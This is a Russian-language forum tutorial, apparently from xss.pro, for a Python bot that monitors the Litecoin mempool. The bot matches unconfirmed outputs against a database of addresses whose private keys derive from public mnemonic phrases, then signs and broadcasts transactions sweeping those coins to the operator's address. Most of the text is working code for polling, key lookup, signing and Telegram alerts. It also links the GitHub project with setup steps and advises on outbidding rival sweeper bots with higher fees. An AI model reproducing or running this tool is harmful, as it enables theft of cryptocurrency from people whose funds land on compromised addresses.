Scheduler — это механизм для запуска и выполнения каких-либо задач по расписанию или через конкретные интервалы.Далее в этой же функции будет вызываться функция для создания таблицы (была показана ранее) в базе данных, затем вызов функции для загрузки конкретных данных в память (также будет рассказано об этом позже), и вызов функции, которая начнет запуск основной логики софта.
Python:
async def main():
try:
scheduler = AsyncIOScheduler()
scheduler.add_job(clear_memory, 'interval', hours=CLEAR_INTERVAL_HOURS)
scheduler.start()
await create_tables()
await load_data_into_memory()
logging.getLogger('sqlalchemy.engine').setLevel(logging.WARNING)
await checkmem()
except Exception as e:
print(f"Ошибка: {e}")
if __name__ == "__main__":
try:
asyncio.run(main())
except Exception as e:
print(f"Ошибка при запуске: {e}")
Загрузка данных в память.
Для начала рассмотрим функцию load_data_into_memory, предназначенную для загрузки данных в память.
Python:
async def load_data_into_memory():
global private_key_address_map
async with session_factory() as session:
async with session.begin():
# Загрузка данных PrivateKeyAddress в память
result = await session.execute(select(PrivateKeyAddress))
private_key_address_map = {
entry.address: entry.private_key for entry in result.scalars()
}
Для чего загружать адреса и приватные ключи из базы данных в память?
Т.к. нам придется постоянно сравнивать адреса из выходов в транзакциях в mempool, нам придется постоянно получать весь список адресов и приватных ключей. Когда таких данных немного, ничего страшного не будет, но если у вас база из миллионов адресов и ключей, постоянное обращение к базе данных будет занимать существенно больше времени, чем обращение к этим данным в памяти.Очистка памяти.
Теперь рассмотрим функцию clear_memory, которая будет очищать данные из памяти каждый час с помощью scheduler, но очищать она будет не эту переменную, а другую — ту, в которой будут записываться хеши транзакций, которые уже были проверены в mempool, чтобы не возвращаться к ним позже (для чего это сделано, будет рассказано позже).Для чего очищать память от проверенных транзакций?
Очистка нужна, т.к. со временем в памяти накопится огромное количество проверенных транзакций из mempool, и когда их станет слишком много, работа с этой памятью начнет занимать больше времени.
Python:
async def clear_memory():
global processed_tx_hashes
try:
processed_tx_hashes.clear()
print("Память с обработанными хэшами очищена.")
except Exception as e:
print(f"Ошибка при очистке памяти: {e}")
Получение транзакций из mempool и их фильтрация.
Сейчас рассмотрим функцию checkmem, которая запускает основную логику программы. Но прежде разберем, как удобнее реализовать эту функцию.- Для начала мы будем получать весь список хешей транзакций, находящихся в mempool, вместе с подробными данными об этих транзакциях.
- Затем будем брать данные о времени создания этих транзакций, чтобы взять только те, которые были созданы за последний час, и записать их в объект.
- Далее нужно проверить записанные в объект транзакции на наличие в переменной, которая хранит хеши уже обработанных транзакций. Если такие есть, их нужно удалить.
- Затем, используя корутины, будем асинхронно вызывать функцию process_transaction, в которую будет отправляться каждая оставшаяся после проверок на время и дубликаты транзакция.
Почему фильтрация именно по времени создания?
Одним из вариантов было просто брать первые, допустим, сотни транзакций, и работать с ними. Но, как оказалось, если транзакции находятся в начале списка, они не всегда самые свежие, из-за чего некоторые нужные и свежие транзакции пропускались.Немного о записывании проверенных транзакций в память и очищении этой памяти.
- Запись проверенных транзакций будет происходить в следующей функции, в которой будет происходить обработка каждой транзакции. При нужных условиях она будет выводить монеты.
- Запись этих транзакций нужна для того, чтобы при следующей итерации цикла, когда будут получены новые транзакции из mempool, не получать повторные и не тратить время на их обработку.
- Проверка транзакций на дубликаты происходит перед тем, как отправить оставшиеся транзакции на обработку. Это нужно, чтобы не проводить проверку постоянно, что сэкономит драгоценное время. В текущей реализации проверка происходит в самом начале и сразу со всеми транзакциями, что значительно повышает скорость работы.
Python:
async def checkmem():
while True:
try:
print("Начинаем получение списка транзакций")
method = "getrawmempool"
params = [True, False]
# Отправка запроса на ноду для получения списка транзакций в mempool
result = await request(method, params)
if result and "result" in result:
tx_data = result["result"]
print(f"Общее количество транзакций в пуле: {len(tx_data)}")
# Получаем текущее время в формате Unix timestamp
current_time = int(time.time())
# Объект для хранения всех транзакций с подходящим под критерий времени создания
recent_tx_hashes = []
# Фильтруем транзакции, оставляя только те, которые были сделаны в последний час
for tx_hash, tx_info in tx_data.items():
# время транзакции (Unix timestamp)
tx_time = tx_info["time"]
# проверяем, было ли это в последние 3600 секунд (1 час)
if current_time - tx_time <= 3600:
recent_tx_hashes.append(tx_hash)
print(f"Количество транзакций за последний час: {len(recent_tx_hashes)}")
# Убираем из списка транзакций те, которые уже были обработаны
recent_tx_hashes = [tx_hash for tx_hash in recent_tx_hashes if tx_hash not in processed_tx_hashes]
print(f"Оставшиеся транзакции после исключения обработанных: {len(recent_tx_hashes)}")
# Обрабатываем транзакции
if recent_tx_hashes:
tasks = [process_transaction(tx_hash) for tx_hash in recent_tx_hashes]
await asyncio.gather(*tasks)
processed_tx_hashes.update(recent_tx_hashes)
print(f"Обработано {len(recent_tx_hashes)} транзакций, добавлено в processed_tx_hashes.")
else:
print("Нет новых транзакций для обработки.")
else:
print("Не удалось получить список транзакций.")
except Exception as e:
print(f"Error in checkmem: {e}")
Немного о строке параметров, которые отправляются в ноду при запросе:
params = [True, False]Первый параметр означает, что будет показываться подробная информация о транзакции.
Второй параметр означает, что будут выводиться только хеши транзакций и порядковый номер состояния mempool (на самом деле я не понял, что это за порядковый номер и зачем он вообще нужен, но если его включить, то придется отключить первый параметр, так как вместе они работать не могут).
Обработка оставшихся транзакций.
Было выяснено, что в показанной функции происходит получение транзакций из mempool и фильтрация этих транзакций по нескольким критериям. Теперь же перейдем к обзору функции для обработки каждой из этих транзакций, которая называется process_transaction.
Получение данных о транзакции.
Первое, что будет сделано в данной функции — это получение подробных данных о транзакции и добавление хеша транзакции в память как уже обработанную транзакцию.
Python:
# Запрос на получение данных о транзакции по ее хешу
result = await request("getrawtransaction", [tx_hash, True])
# Если данных нет - пропускаем
if not result or "result" not in result:
return
# Запись данных транзакции в переменную
transaction_data = result["result"]
# Добавление хеша транзакции в память как обработанную, чтобы больше ее не проверять
processed_tx_hashes.add(tx_hash)
JSON:
{
"result": {
"940352ce2be1f34f2a88ed32ba9bfcd01d4d8cbd68b79c88ce97115d1d8da8ce": {
"vsize": 151,
"weight": 602,
"time": 1682395086,
"height": 787063,
"descendantcount": 1,
"descendantsize": 151,
"ancestorcount": 2,
"ancestorsize": 1334,
"wtxid": "a824488001981d130794c9982afb0aeab3cdef25b5b9505b50ded0724308e976",
"fees": {
"base": 0.00000307,
"modified": 0.00000307,
"ancestor": 0.00002679,
"descendant": 0.00000307
},
"depends": ["e17275ca632c7083ce2f36415d4a52eda928901624e90f104c51696bc3338379"],
"spentby": [],
"bip125-replaceable": true,
"unbroadcast": false
}
},
"error": null,
"id": 1
}
Какие данные нужно получить?
Из транзакции нам нужно получить данные, которые потребуются для создания своей транзакции, а именно:- Выходы
- Адреса из выходов
- Индексы выходов
- Сумма отправки на выходы
Получение только нужных данных.
Далее, внутри цикла, нужно собирать выходы из транзакции, чтобы получить адреса, на которые были отправлены монеты, и сумму, которая была отправлена на эти адреса, с целью поиска совпадений с адресами из базы данных.
Python:
for output in transaction_data.get("vout", []):
script_pub_key = output.get("scriptPubKey", {})
# Получение адреса получателя
addresses = script_pub_key.get("addresses")
address = addresses[0] if addresses else None
# Получение суммы отправки
ltc_value = output.get("value", 0.0)
# Перевод суммы в сатоши
amount = int(ltc_value * 1e8)
# Получение индекса выхода
n_index = output.get("n")
Проверка на совпадение адресов.
Далее проверяем, есть ли адрес в базе данных. Если есть, то вытягиваем для него приватный ключ, записываем в переменную и явно указываем, для какой это сети.
Python:
if address in private_key_address_map:
private_key_db = private_key_address_map[address]
private_key = Key(import_key=private_key_db, network='litecoin')
Расчет суммы отправки и комиссии.
Затем, в том же if, если адрес сходится, рассчитываем сумму отправки для транзакции, которую будем делать, используя монеты из найденной неподтвержденной транзакции.
Python:
send_amount = int(amount * SEND_AMOUNT_PROCENT)
fee = int(amount * FEE_PROCENT)
Создание, подписание, отправка транзакции в сеть.
Далее будем создавать саму транзакцию и отправлять её в сеть на обработку.
Python:
# Создание транзакции
tx = Transaction(network=Network('litecoin'), replace_by_fee=False)
# Добавление входов
tx.add_input(prev_txid=tx_hash, output_n=n_index, value=amount, address=address,
sequence=0xFFFFFFFE)
# Добавление выходов
tx.add_output(address=TO_ADDRESS, value=send_amount)
# Подписание транзакции
tx.sign(private_key)
# Подписанная транзакция в hex
sign = tx.as_hex()
# Отправка hex транзакции в блокчейн на обработку
result_send = await request("sendrawtransaction", [str(sign)])
В выход добавляем адрес куда отправлять монеты и уже сумму которую хотим отправить, указывать комиссию не нужно т.к если мы отправляем не всю сумму указанную в найденной транзакции, то остатки автоматически уйдут в комиссию.
Отправка транзакции происходит используя ноду. Можно было создание, подписание транзакции также сделать через запрос на ноду, но это лишняя отправка запросов а значит лишняя трата времени, делать это локально гораздо быстрее.
Вывод сообщений в консоль и отправка в Telegram.
Далее отправляем различные данные в функцию с шаблоном сообщения, которое отправится в Telegram.await telegram_message(BOT_TOKEN, CHAT_IDS, tx_hash, address, private_key, amount, n_index, send_amount, fee, sign, result_send)Как вы помните, работа с отправкой транзакции была в условии if, проверяющем адреса на совпадения. В else же укажем вызов функции с шаблоном сообщения и выведем его в консоль.
Python:
else:
log_message = await address_not_found_message(tx_hash, address, amount, n_index)
print(log_message)
Недочеты в программе.
На этом с софтом закончено, и статья подходит к своему логическому завершению. Хотелось бы рассказать о недочетах, которые остались в данном проекте, и, если вы хотите использовать данный софт на постоянной основе, вам придется исправить эти недочеты самостоятельно.Когда вы работаете с публичными мнемоническими фразами, там часто могут встретиться похожие софты. Если вы с такими столкнулись, то некоторые из них, увидев, что ваш софт уже сделал вывод неподтвержденных монет с адреса, в ответ поступят так же, но с комиссией выше вашей, тем самым перебив вашу транзакцию.
По моим наблюдениям, некоторые софты поднимают комиссию выше вашей на пару процентов. В таком случае можно дописать логику для повторной проверки и создавать транзакцию заново, но уже с более высокой комиссией, чем у конкурента. Однако некоторые из софтов, увидев вашу транзакцию, сразу же устанавливают комиссию в диапазоне 90–95%. Такое перебить не получится, и тут остается либо смириться, либо, заметив пендинг-транзакцию с адресом из базы, делать паузу, скажем, на полминуты или минуту. За это время подобные софты уже должны попытаться вывести монеты, и в таком случае вы сможете поступить так же — установить максимально высокую комиссию и получить всего пару центов. Но при этом есть риск, что пока вы ждете, транзакция уже подтвердится, и деньги уйдут на счет конкурента.
Какой вариант выбрать — решайте сами.
Также в конвертере можно получить как Legacy-адреса, так и Segwit, но сам софт работает только с Segwit-адресами. Legacy в конвертере был добавлен на будущее, если вдруг решите дописывать софт.
Краткие шпаргалки.
Также, если кто-то задумает настроить свой домашний сервер для ноды по типу моего, я написал пару небольших инструкций-шпаргалок для помощи в этом.Подготовка виртуальной машины hyper-v для установки крипто ноды в docker
Настройка своего домашнего сервера
Доступ к криптовалютным нодам из внешней сети
Как уменьшить размер тома данных docker в Docker Desktop для Windows
Программа на GitHub.
Ссылка на проект на GitHub - https://github.com/overlordgamedev/Wasting-unconfirmed-LTC-transactions/tree/mainКак настроить и запустить софт:
Чтобы подготовить софт к запуску, первым делом нужно настроить файл config.json и указать в нем токен бота Telegram, chat ID аккаунта, на который нужно отправлять уведомления (можно указать несколько). Также обязательно прописать в бота команду /start, иначе он не сможет отправлять сообщения. Затем, в конфиге нужно указать ссылку на ноду и адрес, на который переводить монеты из неподтвержденных транзакций.Далее, в файле ltc.py найти строки RPC_USER и RPC_PASSWORD и указать пароль для доступа к ноде.
Для удобства были созданы .bat-файлы для запуска основного софта, софта для получения приватных ключей и адресов, а также софта для импортирования ключей и адресов в базу данных.
Для установки Python-библиотек запустите install.bat.
Если вы не читали статью и не знаете, как установить ноду и Postgres, прочитайте разделы «Установка ноды» и «Установка Postgres».
Вывод
Статья получилась достаточно большой, но, надеюсь, понятной для большинства. Надеюсь, вы ее оцените, так как на нее было потрачено больше месяца.Сначала была выполнена сборка сервера специально для установки крипто-нод — как для этой статьи, так и для будущих. Затем нода многократно переустанавливалась из-за проблем, которые я описывал в статье (ненормальная трата памяти Docker'ом, плохо работающие виртуальные машины и т. д., тестирование как WSL, так и Hyper-V). После этого следовало написание софта и его максимальная оптимизация для работы с базами адресов объемом более миллиона записей. Ну и, наконец, шла работа над написанием и редактированием статьи для лучшей читаемости и понимания.
Разработано OverlordGameDev специально для форума xss.pro
Ссылка на статью в виде документа - https://docs.google.com/document/d/1WIpUMxuHJPCo4RuzfSHyiS00G56Bt6iV6DFMaJF9tEo